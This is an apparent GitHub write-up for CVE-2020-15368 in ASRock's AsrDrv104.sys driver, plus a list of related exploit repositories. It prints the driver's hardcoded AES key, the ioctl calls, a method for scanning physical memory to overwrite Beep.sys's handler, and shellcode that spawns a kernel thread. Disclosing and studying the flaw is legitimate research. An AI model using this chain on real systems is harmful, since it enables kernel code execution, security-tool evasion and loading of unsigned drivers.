How to exploit a vulnerable windows driver. Exploit for AsrDrv104.sys

Overview

How to exploit a vulnerable windows driver

Exploit and Proof of Concept (PoC) for CVE-2020-15368. Asrock repackaged rweverything driver for their RGB controller configuration tool and signed it. They "protect" it by encrypting their ioctls...lol. We found this CVE by accident last summer, and afaik the driver still isn't patched. The impact is of course arbitrary code execution in kernel, etc. So enjoy this "0day" lol.

If you want to argue with me on whether it's a REAL BONA FIDE CVE, please feel free to reach out to me on Twitter, we can have a huge fight on public social media and it will be really exciting for everyone involved! I will even buy a domain for this bug if you are so inclined. it's all about marketing!!!!

Anyways, this bug is pretty shit, so I'm going to use it as a tutorial on how to pwn your typical vuln driver. So this post is aimed towards beginners. There are tons of other shitty drivers out there like this. The world is your oyster. Have fun

Backstory

Stuck in quarantine, my roomates (Pear0, Codetector) and I were fooling around on Pear0's new Asrock motherboard. The bright red LEDs were extremely annoying and it was not possible to configure them on Linux. Thus our plan was to reverse the Windows driver that controlled it and replicate the I/O operations on Linux.

Long story short, it didn't take long until we realized the driver is literally just a generic driver granting arbitrary read/write access to anything. This includes control registers like CR3, CR4, physical memory, etc. Drivers like this are intended for use as a debugging tool and the vendor's website clearly states so.

docs/lol.png

We thought this was extremely funny. It's quite exciting the first time you make a computer triple fault and hard reboot from userspace. (Maybe less exciting the 20th time.) Anyways, we reported the bug then forgot about it for a year.

Setup

As a kernel noob, I was wondering how to actually load and interact with the driver. Turns out it is extremely easy.

You can just create a service for the driver in Process Hacker (obviously, requires admin to load drivers). Then you can just right click and start it. Yes it's really that simple.

docs/processhacker.png

We can view our Device object in WinObjEx64.

docs/processhacker.png

We can even play with the device in FileTest.

docs/filetest.png

docs/filetest2.png

All of these 3 tools are amazing, especially PH and FileTest. They are like a Swiss army knife and they ought to be in every Windows reverser's toolbox. For example, from my understanding Jonas L has found countless Windows LPE vulnerabilities just dicking around in FileTest. So Windows really has some great tools for fucking around. I wish there was this shit on Linux.

"Security" bypass

Rweverything has an ioctl that takes an ioctl as a parameter, which controls what operation to perform (read mem, write mem, read msr, etc.), and a union of some operation-specific parameters like src address, dst addr, etc. When we compare the two drivers' code:

docs/comparison.png

πŸ€” πŸ€” πŸ€” πŸ€” πŸ€” πŸ€” πŸ€” πŸ€” πŸ€”

Nevertheless, the driver makes a shoddy attempt at security by obscurity by requiring that all ioctl calls be appropriately encrypted with a hardcoded AES key. The code (after some cleanup) looks like this:

key, 16); size_t cb_decrypted = 0; my_decrypted_cmd* decryptedCmd = NULL; DWORD iv_size = ioctl_args->iv_size; DWORD input_size = *(DWORD*)(ioctl_args + bufferLen - 6); // really just calls BCrypt API to get an AES implementation if ( (unsigned int)decrypt_ioctl_params(enc_key, 32, ioctl_args->iv, iv_size, ioctl_args + bufferLen - input_size - 6, input_size, &decryptedCmd, &cb_decrypted) ) { // Decryption failed if ( decryptedCmd ) ExFreePoolWithTag(decryptedCmd, 0); irp->IoStatus.Status = 0xC000000D; goto Fail_Out; } IoControlCode = decryptedCmd->opcode; Rweverything_Args = &decryptedCmd->args; } else // not 0x22EC00 { if ( IoControlCode != 0x22E858 && IoControlCode != 0x22E860 && IoControlCode != 0x22E800 && IoControlCode != 0x22E804 )// whitelisted control codes IoControlCode = 0; // block everything else } ">
if ( IoControlCode == 0x22EC00 )
{

  char enc_key[32];
  memset(enc_key, 0, sizeof(enc_key));
  memmove(enc_key, "C110DD4FE9434147B92A5A1E3FDBF29A", 32ui64);
  memcpy(enc_key + 13, ioctl_args->key, 16);
  
  size_t cb_decrypted = 0;
  my_decrypted_cmd* decryptedCmd = NULL;
  DWORD iv_size = ioctl_args->iv_size;
  DWORD input_size = *(DWORD*)(ioctl_args + bufferLen - 6);

  // really just calls BCrypt API to get an AES implementation
  if ( (unsigned int)decrypt_ioctl_params(enc_key, 32, ioctl_args->iv, iv_size, ioctl_args + bufferLen - input_size - 6, input_size, &decryptedCmd, &cb_decrypted) )
  {
    // Decryption failed
    if ( decryptedCmd )
      ExFreePoolWithTag(decryptedCmd, 0);
    irp->IoStatus.Status = 0xC000000D;
    goto Fail_Out;
  }
  IoControlCode = decryptedCmd->opcode;
  Rweverything_Args = &decryptedCmd->args;
}
else // not 0x22EC00
{
  if ( IoControlCode != 0x22E858 &&
       IoControlCode != 0x22E860 &&
       IoControlCode != 0x22E800 &&
       IoControlCode != 0x22E804 )// whitelisted control codes
    IoControlCode = 0; // block everything else
}

The driver allows some boring operations that do some PMIO but all of the "fun" control codes are gated behind this decryption routine. Despite having this explicit allow-list, it still includes all of the dangerous Rweverything functionality. Instead of hiding these dangerous features, they probably should have just been removed altogether.

Also, interestingly, it also allows the user to specify part of the key (???), for what reason I have no idea. The code is just very poorly written.

Anyways, it's relatively easy to write the client code to use this weird encrypted API and pass it arbitrary ioctl calls we want. I won't bore you with the details of that.

Talking to the driver

We open a handle to the driver and use DeviceIoControl to call the ioctl, very standard stuff.

HANDLE hDevice = CreateFileA("\\\\.\\GlobalRoot\\Device\\AsrDrv104", GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

// ... set up the encrypted ioctl data

BOOL result = DeviceIoControl(hDevice, 0x22EC00, ioctl_data, in_buf_size, out_buf, sizeof(out_buf), &bytes_returned, NULL);

Now that we are able to talk to the hidden Rweverything part of the driver, the first thing I wanted to do was trigger a crash so that I know my driver client is working.

The most straightforward way to accomplish this is to overwrite CR3 with junk. I know some of you reading this are noobs and that's OK so I will explain in detail. I am stupid too so maybe this will help you learn. If you know what you are doing then you can skip this.

On x86, when paging is enabled (pretty much all the time in any modern operating system), CR3 points to the physical base address of the top level page table directory. If you don't know what that means go read the Wikipedia article for Virtual memory.

When we overwrite CR3 with junk, say 0x0000000000000000, the TLB gets flushed, and upon attempting to execute the next instruction, the processor (specifically the MMU) will try to translate the instruction pointer to a physical address. Address translation can be thought of as essentially a series of pagetable walks starting from CR3. CR3 now points to physical memory at 0, which does exist and is accessible; however it is extremely unlikely that is a valid pagetable. (Pagetable entries, or PTEs for short, have a specific structure they must follow.)

When this happens, we will get a page fault on the address translation. Now, normally the CPU would take us to the addresss of the page fault handler. But how does it know where the page fault handler function is? This is stored in a memory data structure known as the Interrupt Descriptor Table (IDT). The processor has a register (read/written by sidt and lidt instructions) which holds the virtual address of the IDT. Do you see the problem now? To handle the page fault we need to first do yet another virtual memory access, and hence yet another address translation.

Of course, our second address translation will also fault. Now we have a Double Fault: a fault that occurs while handling the first page fault. This is quite serious but still recoverable---the processor will give us one last chance to recover. Of course, this attempt is also cut brutally short with a third and final page fault, a Triple Fault. At this point, the CPU just gives up and hard resets the machine. If you performed this procedure on a physical machine, you would probably see your BIOS splash screen about now.

Now if you have any questions I will give you the same answer that was always given to me. Which is to go read the Intel Manual Volume 3A. (aka the Bible).

Exploiting the driver

OK, now how do we actually exploit the driver? Looking around, we see a free arb physical memory r/w primitive. It basically maps whatever physical address you want using MmMapIoSpace, copies your buffer to it (or vice versa), and unmaps the address.

Small note: when you try to call MmMapIoSpace with some stupid arguments like us while kernel debugger is attached, you will bugcheck. You can bypass this by writing a magic byte in WinDbg. Look for comment referencing MiShowBadMapper in exploit.cpp to see more. I don't really know what that shit is about and I don't care to find out really

How can we leverage this primitive to get code execution in the kernel? The main problem with this primitive is that it operates on physical memory. As a usermode program, we pretty much have no idea what the layout of physical memory looks like---the operating system handles all of that for us. Even if we can get virtual addresses of some kernel data structures or kernel function pointers, we have no idea where they are in physical address space.

One idea is to read CR3, read the page tables, and perform the virtual address translation ourselves. This is a great idea. It does not work. This is because Windows no longer allows you to map page tables with MmMapIoSpace. So we need to get more clever.

I used the xeroxz's technique from VDM. It's pretty simple, but the technique is quite clever. Although we don't know the layout of physical memory, we can still scan all of the physical memory until we find what we're looking for. One thing we can leverage is that page contents' are always the same both physically and virtually: any offsets relative to page boundaries are always preserved. For example, if I have page 0x7fff000000000XXX mapped to physical frame 0x0000000123456XXX, the XXX of all addresses is same in both physical and virtual address. All of the intra-page structure is preserved; thus we can scan for some interesting page we would like to overwrite.

The easiest thing we can overwrite is probably some easy-to-reach syscall or ioctl handler. On Windows, there is a standard Beep() function that makes your computer beep. Believe it or not, this is implemented in a driver, Beep.sys which provides the Beep device. (In fact, you can see it in the WinObjEx64 screenshot from earlier.) Anyone can use the Beep device, and it's rarely called. So let's overwrite the Beep ioctl handler.

We can pop Beep.sys into IDA and check out the DeviceIoControl handler.

docs/beep.png

At page offset 0x270, we have this code with bytes 40 53 48 .... None of these bytes are relocated, so scanning for this function is very easy. If there were relocated bytes, we would need to wildcard them out. It's the same idea as signature scanning when you're writing some game hack.

So after we've scanned physical memory to locate this code, we can just overwrite it with our own shellcode. You also have to be careful as there may be multiple copies of this page lying around in physical memory (!) so go find all copies.

At this point, we can quite easily escalate privileges by swapping our process' security token with one of a system process to get nt authority\system permissions. Unfortunately the asrock driver requires admin permissions to open anyways, so this is not very interesting.

For us, we write a basic shellcode that allocates and copies a stage 2 payload, then spawns a new kernel thread. We can't do everything in our overwritten Beep handler as 1) we're limited to 1 page and 2) we will crash the system when we try to close our handle to the Beep device, as we also trashed the rest of the code in the beep device. As for getting kernel pointers, this is actually easy because NtQuerySystemInformation will give them to us for free if we ask nicely.

__int64 __declspec(dllexport) __fastcall MyIRPHandler(struct _DEVICE_OBJECT* a1, IRP* irp)
{
    MyIrpStruct* user_data = (MyIrpStruct*)irp->AssociatedIrp.SystemBuffer;

    void* my_rwx = user_data->nt_ExAllocatePoolWithTag(NonPagedPoolExecute, user_data->payload_size, 'lmao');

    user_data->nt_memcpy(my_rwx, user_data->payload, user_data->payload_size);

    HANDLE hThread;
    user_data->nt_PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, (PKSTART_ROUTINE)my_rwx, NULL);

    user_data->nt_IofCompleteRequest(irp, 0);

    return 0;
}

So we quickly patch Beep, call the overwritten ioctl handler, and unpatch Beep. Now we have safely created a kernel thread executing our code without trashing anything else on the system. At this point we can map our own drivers or whatever.

Conclusion

I am a bad security researcher and I only find worthless bugs, by accident. Thanks for reading everyone. Please subscribe to my OnlyFans

You might also like...
Exploit MsIo vulnerable driver
Exploit MsIo vulnerable driver

MsIoExploit Exploit MsIo vulnerable driver Description This is a PoC for CVE-2019-18845 MsIo64.sys allowing non-privileged user to map/unmap arbitrary

A user-mode emulator for the mhyprot2.sys driver
A user-mode emulator for the mhyprot2.sys driver

mhynot2 Cheating is bad, but I think requiring a kernel driver to play a (mostly) single-player game is worse. mhynot2 is a hook DLL which hooks into

EDRSandBlast is a tool written in C that weaponize a vulnerable signed driver to bypass EDR detections and LSASS protections

EDRSandBlast is a tool written in C that weaponize a vulnerable signed driver to bypass EDR detections (Kernel callbacks and ETW TI provider) and LSASS protections. Multiple userland unhooking techniques are also implemented to evade userland monitoring.

vdk is a set of utilities used to help with exploitation of a vulnerable driver.

vdk - vulnerable driver kit vdk is a set of utilities used to help with exploitation of a vulnerable driver. There are 2 main features of this library

x64 Windows kernel code execution via user-mode, arbitrary syscall, vulnerable IOCTLs demonstration
x64 Windows kernel code execution via user-mode, arbitrary syscall, vulnerable IOCTLs demonstration

anycall x64 Windows kernel code execution via user-mode, arbitrary syscall, vulnerable IOCTLs demonstration Read: https://www.godeye.club/2021/05/14/0

Loads a signed kernel driver which allows you to map any driver to kernel mode without any traces of the signed / mapped driver.
Loads a signed kernel driver which allows you to map any driver to kernel mode without any traces of the signed / mapped driver.

CosMapper Loads a signed kernel driver (signed with leaked cert) which allows you to map any driver to kernel mode without any traces of the signed /

A WIP "Vulnerable by Design" kext for iOS/macOS to play & learn *OS kernel exploitation

Vulnerable Kext A WIP (work-in progress) "Vulnerable by Design" kext for iOS/macOS to play/learn with *OS kernel exploitation Usage Documentation can

PoC for CVE-2021-28476 a guest-to-host
PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.

CVE-2021-28476: a guest-to-host "Microsoft Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys. This is a proof of concept for CVE-2021-28476

CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center)

CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center) General Affected Product: MSI Dragon Center Affected Version: 2.0.104.0 Descri

A lightweight utility for parsing PE file formats (EXE, DLL, SYS) written in C/C++

peParser A lightweight utility for parsing PE file formats (EXE, DLL, SYS). Windows Portable Executable (PE) files includes a variety of parsable data

Loading dbk64.sys and grabbing a handle to it
Loading dbk64.sys and grabbing a handle to it

ceload A tool that allows you to manually load up CheatEngine's signed driver and get a handle to it for various kernel hacking operations. The code i

x64 Windows kernel driver mapper, inject unsigned driver using anycall
x64 Windows kernel driver mapper, inject unsigned driver using anycall

anymapper x64 Windows kernel driver mapper, inject unsigned driver using anycall This project is WIP. Todo Fix: Can't make API calls from IAT nor func

Some hypervisor research notes. There is also a useful exploit template that you can use to verify / falsify any assumptions you may make while auditing code, and for exploit development.

Introduction Over the past few weeks, I've been doing some hypervisor research here and there, with most of my focus being on PCI device emulation cod

libsinsp, libscap, the kernel module driver, and the eBPF driver sources

falcosecurity/libs As per the OSS Libraries Contribution Plan, this repository has been chosen to be the new home for libsinsp, libscap, the kernel mo

manually map driver for a signed driver memory space

smap manually map driver for a signed driver memory space credits https://github.com/btbd/umap tested system Windows 10 Education 20H2 UEFI installati

Driver leap - Self-sustainable fork of SteamVR driver for Leap Motion controller with updated vendor libraries
Driver leap - Self-sustainable fork of SteamVR driver for Leap Motion controller with updated vendor libraries

Driver Leap Self-sustainable fork of SteamVR driver for Leap Motion controller with updated vendor libraries Installation (for users) Install Ultralea

SinMapper - usermode driver mapper that forcefully loads any signed kernel driver
SinMapper - usermode driver mapper that forcefully loads any signed kernel driver

usermode driver mapper that forcefully loads any signed kernel driver (legit cert) with a big enough section (example: .data, .rdata) to map your driver over. the main focus of this project is to prevent modern anti-cheats (BattlEye, EAC) from finding your driver and having the power to hook anything due to being inside of legit memory (signed legit driver).

Exploit for the RpcEptMapper registry key permissions vulnerability (Windows 7 / 2088R2 / 8 / 2012)
Exploit for the RpcEptMapper registry key permissions vulnerability (Windows 7 / 2088R2 / 8 / 2012)

Perfusion On Windows 7, Windows Server 2008R2, Windows 8, and Windows Server 2012, the registry key of the RpcEptMapper and DnsCache (7/2008R2 only) s

Exploit allowing you to read registry hives as non-admin on Windows 10 and 11
Exploit allowing you to read registry hives as non-admin on Windows 10 and 11

HiveNightmare aka SeriousSam, or now CVE-2021–36934. Exploit allowing you to read any registry hives as non-admin. What is this? An zero day exploit f

Owner
Stephen Tong
ctf player @perfectblue, past intern @Vector35, researcher @sslab-gatech. memelord
Stephen Tong
Exploit MsIo vulnerable driver

MsIoExploit Exploit MsIo vulnerable driver Description This is a PoC for CVE-2019-18845 MsIo64.sys allowing non-privileged user to map/unmap arbitrary

Kento Oki 62 Nov 26, 2022
CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center)

CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center) General Affected Product: MSI Dragon Center Affected Version: 2.0.104.0 Descri

Rajat Gupta 27 Jul 20, 2022
Windows Elevation

What's this This project is mainly used to collect the commonly used exp of Windows platform and give the relevant repair scheme. On the one hand, it

Al1ex 503 Dec 28, 2022
wtf is a distributed, code-coverage guided, customizable, cross-platform snapshot-based fuzzer designed for attacking user and / or kernel-mode targets running on Microsoft Windows.

wtf is a distributed, code-coverage guided, customizable, cross-platform snapshot-based fuzzer designed for attacking user and / or kernel-mode targets running on Microsoft Windows.

Axel Souchet 1.1k Dec 30, 2022
PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) proof of concept exploits

PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (CVE-2021-34527, CVE-2021-1675) Summary This is a remote code execution vulnerability tha

Jay K 72 Nov 18, 2022
Windows Etw LPE

CVE-2021-34486 Windows Etw LPE olny tested on windwos 20H2 x64 ed2k://|file|cn_windows_10_business_editions_version_20h2_updated_march_2021_x64_dvd_ca

WangTT 44 Nov 21, 2022
vsomeip Library for Windows Msys2 MinGW64

vsomeip-msys2-mingw64 vsomeip Library for Windows Msys2 MinGW64 vsomeip Copyright Copyright (C) 2015-2017, Bayerische Motoren Werke Aktiengesellschaft

null 1 Oct 27, 2021
This tool demonstrates the power of UAC bypasses and built-in features of Windows.

Auto-Elevate This tool demonstrates the power of UAC bypasses and built-in features of Windows. This utility auto-locates winlogon.exe, steals and imp

null 129 Dec 7, 2022
vulnerability in zam64.sys, zam32.sys allowing ring 0 code execution. CVE-2021-31727 and CVE-2021-31728 public reference.

CVE-2021-31727 and CVE-2021-31728 Public Reference for CVE-2021-31727 Exposes unrestricted disk read/write capabilities. Public Reference for CVE-2021

null 66 Dec 4, 2022
Hygieia, a vulnerable driver traces scanner written in C++ as an x64 Windows kernel driver.

Hygieia The Greek goddess of health, her name is the source for the word "hygiene". Hygieia is a windows driver that works similarly to how pagewalkr

Deputation 103 Dec 4, 2022